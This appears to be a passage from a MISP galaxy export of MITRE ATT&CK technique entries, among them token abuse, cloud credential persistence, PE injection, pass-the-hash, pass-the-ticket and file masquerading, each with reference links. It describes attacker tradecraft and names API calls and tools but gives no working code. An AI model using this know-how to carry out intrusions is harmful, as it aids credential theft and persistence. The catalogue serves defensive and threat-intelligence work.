Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)

Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can
still align well with a legitimate workflow.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001"*

### Table 5182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1550/001">https://attack.mitre.org/techniques/T1550/001</a></td>
</tr>
<tr>
<td><a href="https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/">https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials">https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/iam/docs/service-account-monitoring">https://cloud.google.com/iam/docs/service-account-monitoring</a></td>
</tr>
<tr>
<td><a href="https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen">https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens">https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens</a></td>
</tr>
<tr>
<td><a href="https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration">https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration</a></td>
</tr>
<tr>
<td><a href="https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/">https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/">https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/</a></td>
</tr>
</tbody>
</table>

---

**SQL Stored Procedures - T1505.001**

Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).

Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)

The tag is: *misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001"*

### Table 5183. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1505/001">https://attack.mitre.org/techniques/T1505/001</a></td>
</tr>
</tbody>
</table>
Archive via Utility - T1560.001

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.

Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as `<code>tar</code>` on Linux and macOS or `<code>zip</code>` on Windows systems.

On Windows, `<code>diantz</code>` or `<code>makecab</code>` may be used to package collected files into a cabinet (.cab) file. `<code>diantz</code>` may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)). Additional, adversaries may use `<code>xcopy</code>` on Windows can copy files and directories with a variety of options. Additionally, adversaries may use `[certutil](https://attack.mitre.org/software/S0160)` to Base64 encode collected data before exfiltration.

Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities. (Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)

The tag is: `misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"`

Table 5184. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1560/001">https://attack.mitre.org/techniques/T1560/001</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Diantz/">https://lolbas-project.github.io/lolbas/Binaries/Diantz/</a></td>
</tr>
<tr>
<td><a href="https://www.7-zip.org/">https://www.7-zip.org/</a></td>
</tr>
<tr>
<td><a href="https://www.rarlab.com/">https://www.rarlab.com/</a></td>
</tr>
</tbody>
</table>

Additional Cloud Credentials - T1098.001

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent
access to victim accounts and instances within the environment.

For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)

In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the `<code>CreateKeyPair</code>` or `<code>ImportKeyPair</code>` API in AWS or the `<code>gcloud compute os-login ssh-keys add</code>` command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)

Adversaries may also use the `<code>CreateAccessKey</code>` API in AWS or the `<code>gcloud iam service-accounts keys create</code>` command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal's roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)

In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account. These credentials may remain valid for the duration of their lifetime even if the original account's API credentials are deactivated. (Citation: Crowdstrike AWS User Federation Persistence)

The tag is: `misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001"`

*Table 5185. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1098/001">https://attack.mitre.org/techniques/T1098/001</a></td>
</tr>
<tr>
<td><a href="https://expel.io/blog/finding-evil-in-aws/">https://expel.io/blog/finding-evil-in-aws/</a></td>
</tr>
</tbody>
</table>
Impersonate SS7 Nodes - T1430.002

Adversaries may exploit the lack of authentication in signaling system network nodes to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport)

By providing the victim’s MSISDN (phone number) and impersonating network internal nodes to query subscriber information from other nodes, adversaries may use data collected from each hop to eventually determine the device’s geographical cell area or nearest cell tower.(Citation: Engel-SS7)

The tag is: misp-galaxy:mitre-attack-pattern="Impersonate SS7 Nodes - T1430.002"

Table 5186. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf">http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1430/002">https://attack.mitre.org/techniques/T1430/002</a></td>
</tr>
<tr>
<td>&lt;a href=&quot;https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf&quot;&gt;<a href="https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf">https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf</a>&lt;/a&gt;</td>
</tr>
<tr>
<td><a href="https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf">https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=q0n5ySqbfdI">https://www.youtube.com/watch?v=q0n5ySqbfdI</a></td>
</tr>
</tbody>
</table>

Compile After Delivery - T1027.004

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be
delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

The tag is: *misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004"

### Remote Data Staging - T1074.002

Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002"

### Portable Executable Injection - T1055.002

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as `<code>VirtualAllocEx</code>` and
WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002"*

### Pass the Hash - T1550.002

Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. (Citation: Stealthbits Overpass-the-Hash)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002"*

### Archive via Library - T1560.002

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party
libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.

Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002"*

### Table 5191. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1560/002">https://attack.mitre.org/techniques/T1560/002</a></td>
</tr>
<tr>
<td><a href="https://github.com/madler/zlib">https://github.com/madler/zlib</a></td>
</tr>
<tr>
<td><a href="https://libzip.org/">https://libzip.org/</a></td>
</tr>
<tr>
<td><a href="https://pypi.org/project/rarfile/">https://pypi.org/project/rarfile/</a></td>
</tr>
</tbody>
</table>

### GUI Input Capture - T1056.002

Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). (Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)

The tag is: *misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002"*

### Table 5192. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1056/002">https://attack.mitre.org/techniques/T1056/002</a></td>
</tr>
</tbody>
</table>
Dynamic API Resolution - T1027.007

Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.

API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)

To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.

Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)

The tag is: `misp-galaxy:mitre-attack-pattern="Dynamic API Resolution - T1027.007"`

**Table 5193. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/007">https://attack.mitre.org/techniques/T1027/007</a></td>
</tr>
<tr>
<td><a href="https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03">https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03</a></td>
</tr>
</tbody>
</table>
Rename System Utilities - T1036.003

Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename `<code>rundll32.exe</code>`). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

The tag is: `misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"`

### Table 5194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1036/003">https://attack.mitre.org/techniques/T1036/003</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/">https://lolbas-project.github.io/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/1055321652777619457">https://twitter.com/ItsReallyNick/status/1055321652777619457</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/how-hunt-masquerade-ball">https://www.elastic.co/blog/how-hunt-masquerade-ball</a></td>
</tr>
</tbody>
</table>

Network Logon Script - T1037.003

Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects. (Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.

Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

The tag is: `misp-galaxy:mitre-attack-pattern="Network Logon Script - T1037.003"`

### Table 5195. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1037/003">https://attack.mitre.org/techniques/T1037/003</a></td>
</tr>
</tbody>
</table>

Thread Execution Hijacking - T1055.003

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing
arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread</code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively. (Citation: Elastic Process Injection July 2017)

This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003"</code>

---

### Pass the Ticket - T1550.003

Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account’s password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

When performing PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user’s service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)

A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)

A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation
of TGTs for any account in Active Directory. (Citation: Campbell 2014)

Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket. (Citation: Stealthbits Overpass-the-Hash)

The tag is: **misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003"**

### Web Portal Capture - T1056.003

Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)

The tag is: **misp-galaxy:mitre-attack-pattern="Web Portal Capture - T1056.003"**

### Container Orchestration Job - T1053.007

Adversaries may abuse task scheduling functionality provided by container orchestration tools
such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)

The tag is: *misp-galaxy:mitre-attack-pattern="Container Orchestration Job - T1053.007"*

### Windows Command Shell - T1059.003

Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004). (Citation: SSH in Windows)

Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"*
Network Trust Dependencies - T1590.003

Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: `misp-galaxy:mitre-attack-pattern="Network Trust Dependencies - T1590.003"`

### Table S5201. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1590/003">https://attack.mitre.org/techniques/T1590/003</a></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019">https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019</a></td>
</tr>
</tbody>
</table>

Space after Filename - T1036.006

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

For example, if there is a Mach-O executable file called `<code>evil.bin</code>`, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to `<code>evil.txt</code>`, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to `<code>evil.txt </code>` (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

The tag is: `misp-galaxy:mitre-attack-pattern="Space after Filename - T1036.006"`

### Table S5202. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Double File Extension - T1036.007

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `<code>File.txt.exe</code>` may render in some views as just `<code>File.txt</code>`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)

Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user's system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named `<code>Evil.txt.exe</code>` may display as `<code>Evil.txt</code>` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)

Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.

The tag is: `misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007"`

Table 5203. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1036/007">https://attack.mitre.org/techniques/T1036/007</a></td>
</tr>
<tr>
<td><a href="https://www.pcmag.com/encyclopedia/term.double-extension">https://www.pcmag.com/encyclopedia/term.double-extension</a></td>
</tr>
</tbody>
</table>

Install Digital Certificate - T1608.003

Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use
that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it. (Citation: DigiCert Install SSL Cert)

Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.

Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).

The tag is: misp-galaxy:mitre-attack-pattern="Install Digital Certificate - T1608.003"

### Table 5204. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1608/003">https://attack.mitre.org/techniques/T1608/003</a></td>
</tr>
<tr>
<td><a href="https://www.digicert.com/kb/ssl-certificate-installation.htm">https://www.digicert.com/kb/ssl-certificate-installation.htm</a></td>
</tr>
</tbody>
</table>

## Masquerade File Type - T1036.008

Adversaries may masquerade malicious payloads as legitimate files through changes to the payload’s formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is `<code>0xFF 0xD8</code>` and the file extension is either `.JPE`, `.JPEG` or `.JPG`.

Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections.

